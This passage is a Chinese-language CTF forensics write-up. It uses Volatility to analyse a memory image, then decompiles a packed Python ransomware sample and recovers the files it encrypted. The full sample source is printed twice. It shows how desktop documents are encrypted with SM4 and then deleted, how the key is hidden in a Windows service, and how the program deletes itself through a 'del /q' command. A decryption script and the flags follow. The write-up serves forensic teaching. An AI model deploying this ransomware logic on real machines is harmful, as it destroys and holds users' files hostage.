但是本题系统的分辨率不是常规的大小,而是1718x926,所以关键是如何确认系统的分辨率

image-20251012172002130

到这里就已经没有别的信息了,我们再看看附件的其他内容

回到前面的压缩包,简单分析可以发现这是个python打包的exe文件,版本为3.13,所以对其进行解包和反编译

image-20251012172239336

反编译出源码后,可以发现他按照桌面大小设置了一张桌面,名字为wallpaper.png

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

image-20251012172301480

既然如此,我们用vol3扫一下文件,可以发现确实有这么一张图片

image-20251012172540595

dump下来,看看属性就知道分辨率是多少了

image-20251012172521955

根据分辨率去调整前面的参数,然后慢慢调整偏移即可找到qq窗口,在里面我们可以看到发送时间,为06:45

image-20251012172652040

问题5 恶意程序中的token

恶意程序中的token,让我们再看看反编译出来的源码,明显发现这里导入了一个Secr3ts的库,所以我们需要去看看这个库里的代码是啥,注意这里用的是3.13进行打包,所以在解包过程中需要用3.13版本进行解包,否则没办法在PYZ.pyz_extracted目录中找到Secr3ts的pyc文件

 1# Decompiled with PyLingual (https://pylingual.io)
 2# Internal filename: launch.py
 3# Bytecode version: 3.13.0rc3 (3571)
 4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
 5
 6import ctypes
 7import hashlib
 8import subprocess
 9import sys
10import time
11import win32serviceutil
12import win32service
13import win32event
14import servicemanager
15from PIL import Image, ImageDraw, ImageFont
16import random
17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
18import Secr3ts  # 很奇怪
19import base64
20import os

image-20251012172830703

用https://pylingual.io/ 反编译一下,看看里面的代码,简单审计一下可以看到里面有一个G1f7函数,里面其实就是token值的一个输出,其他都是用来混淆的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: Secr3ts.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6global _counter  # inserted
  7import time
  8import random
  9import hashlib
 10import base64
 11from functools import wraps
 12
 13def xor_bytes(data, key):
 14    return bytes([b ^ key for b in data])
 15CONFIG_VERSION = 'v3.1.9'
 16_SYSTEM_ID = hashlib.sha1(b'noise').hexdigest()
 17_magic_table = [(i * 37 ^ 85) & 255 for i in range(256)]
 18
 19class FakeCache:
 20    def __init__(self):
 21        self._store = {}
 22
 23    def set(self, k, v):
 24        key = hashlib.md5(str(k).encode()).hexdigest()
 25        self._store[key] = (v, time.time())
 26
 27    def get(self, k, default=None):
 28        key = hashlib.md5(str(k).encode()).hexdigest()
 29        v = self._store.get(key, (default, 0))[0]
 30        return v
 31
 32    def purge_old(self, age=60):
 33        now = time.time()
 34        keys = list(self._store.keys())
 35        for k in keys:
 36            if now - self._store[k][1] > age:
 37                pass  # postinserted
 38            else:  # inserted
 39                del self._store[k]
 40_cache = FakeCache()
 41
 42def verbose_marker(name):
 43    def deco(f):
 44        @wraps(f)
 45        def wrapped(*a, **kw):
 46            h = hashlib.blake2b((name + str(a) + str(kw)).encode(), digest_size=6).hexdigest()
 47            _cache.set('mark_' + name, h)
 48            return f(*a, **kw)
 49        return wrapped
 50    return deco
 51
 52def poly_noise(x):
 53    s = 0
 54    for i in range(1, 16):
 55        s += x ** i % (i + 7) * (i ^ 3)
 56    return s
 57
 58def weird_transform(s):
 59    a = s.encode('utf-8')
 60    b = base64.b64encode(a).decode()
 61    c = hashlib.sha1(b.encode()).hexdigest()
 62    return c[:12]
 63
 64class PhantomStateMachine:
 65    def __init__(self):
 66        self.s = 0
 67        self.history = []
 68
 69    def step(self, val):
 70        self.s = self.s * 31 + (val ^ 85) & 4294967295
 71        self.history.append(self.s)
 72        return self.s
 73
 74    def snapshot(self):
 75        return tuple(self.history[(-5):])
 76
 77    def reset(self):
 78        self.s = 0
 79        self.history.clear()
 80_phantom = PhantomStateMachine()
 81
 82def pretend_network_send(payload):
 83    time.sleep(0.001)
 84    return {'status': 'ok', 'echo': hashlib.md5(payload.encode()).hexdigest()[:8]}
 85
 86def pretend_read_file(path):
 87    try:
 88        with open(path, 'rb') as f:
 89            data = f.read(32)
 90            return data
 91    except Exception:
 92        return b''
 93
 94def random_walk(seed, steps=100):
 95    r = seed
 96    for i in range(steps):
 97        r = r << 1 | r >> 3 ^ i * 158
 98        yield (r & 4294967295)
 99
100def meaningless_loop():
101    acc = 0
102    for v in random_walk(66, 20):
103        acc ^= v & 255
104        if acc & 1:
105            pass  # postinserted
106        else:  # inserted
107            acc = acc << 1 & 4294967295
108    return acc
109
110def try_many_things():
111    try:
112        _ = int(hashlib.md5(b'x').hexdigest()[:6], 16)
113        return 'done'
114    except Exception:
115        for i in range(3):
116            continue
117        return 'done'
118    except:
119        return 'done'
120
121def fake_sorter(seq):
122    a = list(seq)
123    n = len(a)
124    for i in range(n):
125        for j in range(0, n - i - 1):
126            if a[j] ^ 170 > a[j + 1] ^ 170:
127                pass  # postinserted
128            else:  # inserted
129                a[j], a[j + 1] = (a[j + 1], a[j])
130    return a
131
132class Obfuscator:
133    def __init__(self, seed=4660):
134        self.seed = seed
135        self.table = [_ for _ in range(256)]
136        random.shuffle(self.table)
137
138    def mix(self, data):
139        return bytes([b ^ self.seed & 255 for b in data])
140
141    def heavy(self, data):
142        out = bytearray()
143        for i, b in enumerate(data):
144            out.append((b ^ self.table[i % 256]) & 255)
145        return bytes(out)
146_obf = Obfuscator(seed=21930)
147
148def f_a(x):
149    return (x * 7 ^ 5) & 255
150
151def f_b(x):
152    return (x + 13) % 256
153
154def f_c(x):
155    return x << 2 & 255
156_mystery_blob = ''.join((chr((i * 3 + 7) % 255) for i in range(512)))
157_counter = 0
158
159def orchestrator(flag=False):
160    global _counter  # inserted
161    _counter += 1
162    if flag:
163        _cache.purge_old(age=1)
164        _phantom.step(_counter)
165        return _counter
166
167def G1f7():   # 有问题
168    what = '167307700b740d76'
169    xor_key = 66
170    orchestrator(flag=bool(len(what) % 2))
171    _cache.set('len_what', len(what))
172    token_bytes = xor_bytes(bytes.fromhex(what), xor_key)
173    token_clean = token_bytes
174    try:
175        token = token_clean.decode('utf-8')
176    _ = meaningless_loop()
177    pretend_network_send(token[:4])
178    print(token)
179    return token
180    except Exception:
181        token = token_clean.decode('latin1')
182
183def long_useless_procedure():
184    res = []
185    for i in range(50):
186        a = f_a(i)
187        b = f_b(i)
188        c = f_c(i)
189        res.append((a, b, c))
190        _phantom.step(i) if i % 7 == 3 else i
191        if i % 11 == 0:
192            pass  # postinserted
193        else:  # inserted
194            _cache.set('checkpoint_' + str(i), (a, b, c))
195    flat = [x for t in res for x in t]
196    s = sum(flat) & 65535
197    return hashlib.sha256(str(s).encode()).hexdigest()
198
199def nested_confusion(level):
200    if level <= 0:
201        pass  # postinserted
202    return 0
203
204class RedHerring:
205    def __init__(self):
206        self.a = meaningless_loop()
207        self.b = long_useless_procedure()
208
209    def run(self):
210        for i in range(10):
211            _cache.set('rh' + str(i), (self.a, self.b, i))
212            _ = nested_confusion(i % 4)
213        return True
214_h1 = RedHerring()
215_h2 = RedHerring()
216_h3 = RedHerring()
217
218def generate_noise_strings(n=100):
219    out = []
220    for i in range(n):
221        cs = ''.join((chr((i * 37 + j * 11) % 127 + 32) for j in range(32)))
222        out.append(cs)
223    return out
224_noise_strings = generate_noise_strings(80)
225if __name__ == '__main__':
226    print('CONFIG', CONFIG_VERSION)
227    print('SYSID', _SYSTEM_ID[:12])
228    print('CACHE_SAMP', _cache.get('len_what'))
229    _h1.run()
230    _h2.run()
231    _ = long_useless_procedure()

简单分析G1f7的代码,然后解出token即可,答案为T1E2I6O4

问题6 绝密文件的重要密钥

接着分析launch的源码,源码中存在部分None值,是刻意构造的,但可以通过代码中的逻辑来推断进行了什么操作

可以发现他实现了一个对桌面文件加密的功能,用的是sm4的cbc模式,并且还用了自定义的base64字母表

分析源码可以知道加密的偏移量(iv)是wallpaper的md5值取[4:20]的16位,然后key是随机生成的,生成后被经过异或存储到了一个未知文件中,且用这个文件建立了一个服务(svc_register)。而自定义的base64则是用一个ab.exe生成的

  1# Decompiled with PyLingual (https://pylingual.io)
  2# Internal filename: launch.py
  3# Bytecode version: 3.13.0rc3 (3571)
  4# Source timestamp: 1970-01-01 00:00:00 UTC (0)
  5
  6import ctypes
  7import hashlib
  8import subprocess
  9import sys
 10import time
 11import win32serviceutil
 12import win32service
 13import win32event
 14import servicemanager
 15from PIL import Image, ImageDraw, ImageFont
 16import random
 17from gmssl.sm4 import CryptSM4, SM4_ENCRYPT
 18import Secr3ts
 19import base64
 20import os
 21
 22def get_screen_resolution():
 23    user32 = ctypes.windll.user32
 24    width = user32.GetSystemMetrics(0)
 25    height = user32.GetSystemMetrics(1)
 26    return (width, height)
 27
 28def create_wallpaper(width, height, text, subtext):
 29    image = Image.new('RGB', (width, height), color=(0, 0, 0))
 30    draw = ImageDraw.Draw(image)
 31    try:
 32        font = ImageFont.truetype('arial.ttf', 150)
 33    bbox = draw.textbbox((0, 0), text, font=font)
 34    text_width = bbox[2] - bbox[0]
 35    text_height = bbox[3] - bbox[1]
 36    position = ((width - text_width) // 2, (height - text_height) // 2)
 37    draw.text(position, text, fill=(0, 255, 0), font=font)
 38    subtext_font = ImageFont.truetype('arial.ttf', 50)
 39    subtext_bbox = draw.textbbox((0, 0), subtext, font=subtext_font)
 40    subtext_width = subtext_bbox[2] - subtext_bbox[0]
 41    subtext_height = subtext_bbox[3] - subtext_bbox[1]
 42    subtext_position = ((width - subtext_width) // 2, position[1] + text_height + 20)
 43    draw.text(subtext_position, subtext, fill=(0, 255, 0), font=subtext_font)
 44    for _ in range(100):
 45        x = random.randint(0, width)
 46        y = random.randint(0, height)
 47        char = random.choice('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789')
 48        color = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))
 49        draw.text((x, y), char, fill=color, font=font)
 50    sysRoot = os.path.expanduser('~')
 51    picture = os.path.join(sysRoot, 'Pictures/')
 52    image.save(picture + 'wallpaper.png')
 53    except IOError:
 54        font = ImageFont.load_default()
 55
 56def set_wallpaper():
 57    SPI_SETDESKWALLPAPER = 20
 58    sysRoot = os.path.expanduser('~')
 59    picture = os.path.join(sysRoot, 'Pictures/')
 60    WALLPAPER_PATH = picture + 'wallpaper.png'
 61    ctypes.windll.user32.SystemParametersInfoW(SPI_SETDESKWALLPAPER, 0, WALLPAPER_PATH, 3)
 62
 63def cal_md5(image_path):
 64    with open(image_path, 'rb') as fp:
 65        data = fp.read()
 66    file_md5 = hashlib.md5(data).hexdigest()
 67    return file_md5
 68SERVICE_NAME = None
 69SERVICE_DISPLAY_NAME = None
 70DUMMY_EXE_NAME = None
 71SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
 72DUMMY_EXE_PATH = os.path.join(None, DUMMY_EXE_NAME)
 73
 74class MySimpleService(win32serviceutil.ServiceFramework):
 75    _svc_name_ = SERVICE_NAME
 76    _svc_display_name_ = SERVICE_DISPLAY_NAME
 77
 78    def __init__(self, args):
 79        win32serviceutil.ServiceFramework.__init__(self, args)
 80        self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
 81
 82    def SvcStop(self):
 83        self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
 84        win32event.SetEvent(self.hWaitStop)
 85
 86    def SvcDoRun(self):
 87        servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_, ''))
 88        win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
 89
 90def svc_register(key):
 91    try:
 92        with open(DUMMY_EXE_PATH, 'w') as f:
 93            f.write(key.hex())
 94                win32serviceutil.InstallService(pythonClassString=None, serviceName=SERVICE_NAME, displayName=SERVICE_DISPLAY_NAME, exeName=DUMMY_EXE_PATH)
 95    except Exception as e:
 96        print(f'安装失败: {e}')
 97
 98def custom_b64encode(data: bytes) -> bytes:
 99    STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
100    if getattr(sys, 'frozen', False):
101        base_path = sys._MEIPASS
102    exe_path = os.path.join(base_path, 'ab.exe')
103    subprocess.run([exe_path], check=False)
104    sysRoot = os.path.expanduser('~')
105    db_path = None
106    with open(db_path, 'rb') as f:
107        CUSTOM_B64 = f.read().strip()
108    std = base64.b64encode(data)
109    trans_table = bytes.maketrans(STANDARD_B64, CUSTOM_B64)
110    return std.translate(trans_table)
111
112def encrypt(iv: str, key, infile: str, outfile: str):
113    iv = bytes(iv, 'utf-8')
114    what = 'augabevoli'
115    xor_str = what[::(-1)].encode('utf-8')
116    xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
117    svc_register(xor_key)
118    with open(infile, 'rb') as f:
119        data = f.read()
120    pad_len = 16 - len(data) % 16
121    data_padded = data + bytes([pad_len] * pad_len)
122    sm4 = CryptSM4()
123    sm4.set_key(key, SM4_ENCRYPT)
124    enc = sm4.crypt_cbc(iv, data_padded)
125    b64 = custom_b64encode(enc)
126    with open(outfile, 'wb') as f:
127        f.write(b64)
128    os.remove(infile)
129
130def encrypt_desktop():
131    file_types = ['txt', 'xlsx', 'docx', 'pptx', 'pdf']
132    key = os.urandom(16)
133    sysRoot = os.path.expanduser('~')
134    localRoot = os.path.join(sysRoot, 'Desktop/')
135    picture = os.path.join(sysRoot, 'Pictures/')
136    system = os.walk(localRoot, topdown=True)
137    for root, dir, files in system:
138        for file in files:
139            file_path = os.path.join(root, file)
140            if file.split('.')[(-1)] not in file_types:
141                continue
142            if file.split('.')[(-1)] == 'ciallo':
143                continue
144            b64_str = base64.urlsafe_b64encode(os.urandom(6)).decode()
145            encrypt(cal_md5(picture + 'wallpaper.png')[4:20], key, file_path, root + b64_str + '.ciallo')
146    dir_path = os.path.dirname(os.path.abspath(sys.argv[0]))
147    time.sleep(3)
148    cmd = f'cmd /c ping 127.0.0.1 -n 5 >nul && del /q \"{dir_path}\\*\"'
149    subprocess.Popen(cmd, shell=True)
150if __name__ == '__main__':
151    width, height = get_screen_resolution()
152    create_wallpaper(width, height, 'YOU\'VE BEEN HACKED', ' ')
153    set_wallpaper()
154    encrypt_desktop()

wallpaper前面已经获得了,直接计算md5即可(要记得清掉后面的空白冗余数据)

而key则需要对内存镜像进行分析,找出奇怪的服务(因为代码中没有给出服务的信息)

用vol3中windows.svclist这个命令扫一遍镜像中的服务,简单分析一下,可以看到一个奇怪的进程(甚至在第一行),其指向了一个在system32目录中的一个exe文件

image-20251008002908938

将其dump下来,查看一下内容,可以看到就是我们要的被处理过的key,然后根据源码中的逻辑异或会正确的key即可

image-20251008003012997

最后是base64的字母表,在解包后的目录中可以找到ab.exe

image-20251008003102800

用ida简单分析即可,进去就是main函数,不懂得直接丢给ai,可以知道这里是生成了一个固定头的随机base64字母表,并存入了一个文件中,但是不知道是哪个文件,但既然知道固定了头是Cial1oL5s0cut3,而且代码中没有奇怪的加密或者混淆处理,那么直接对内存进行搜索

image-20251008003145942

直接拿010爆搜即可,就能找到完整的自定义字母表了

image-20251008003331271

最后自己写个脚本解密即可

 1from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT
 2import base64
 3
 4key = 'e1287afc7a0526ea7f55774192fd8c5a'
 5key = bytes.fromhex(key)
 6print(key.hex())
 7iv = b'47284e7609e7017d'
 8
 9what = 'augabevoli'
10xor_str = what[::-1].encode('utf-8')
11xor_key = bytes([key[i] ^ xor_str[i % len(xor_str)] for i in range(len(key))])
12print('XOR 后的 key:', xor_key.hex())
13
14STANDARD_B64 = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
15CUSTOM_B64   = b'Cial1oL5s0cut3PTYwZMy/BRWIdGfJSNmj2Fq4QhneXH9v8rx6O+Vz7KbAgUkDpE'
16
17
18def custom_b64decode(data: bytes) -> bytes:
19    trans_table = bytes.maketrans(CUSTOM_B64, STANDARD_B64)
20    std = data.translate(trans_table)
21    return base64.b64decode(std)
22
23
24def sm4_decrypt_file(infile: str, outfile: str):
25    with open(infile, 'rb') as f:
26        data = custom_b64decode(f.read())
27    sm4 = CryptSM4()
28    sm4.set_key(key, SM4_DECRYPT)
29    dec = sm4.crypt_cbc(iv, data)
30    dec = dec.rstrip(b'\x00')
31    with open(outfile, 'wb') as f:
32        f.write(dec)
33    print(f'文件已解密 → {outfile}')
34
35
36sm4_decrypt_file('绝密.ciallo', 'recover.pdf')

恢复完成后,打开pdf文档即可看到里面的密钥,值为MIE_CTF_2025_T0k3n_#S3cur3!V3#

image-20251012173450307

正文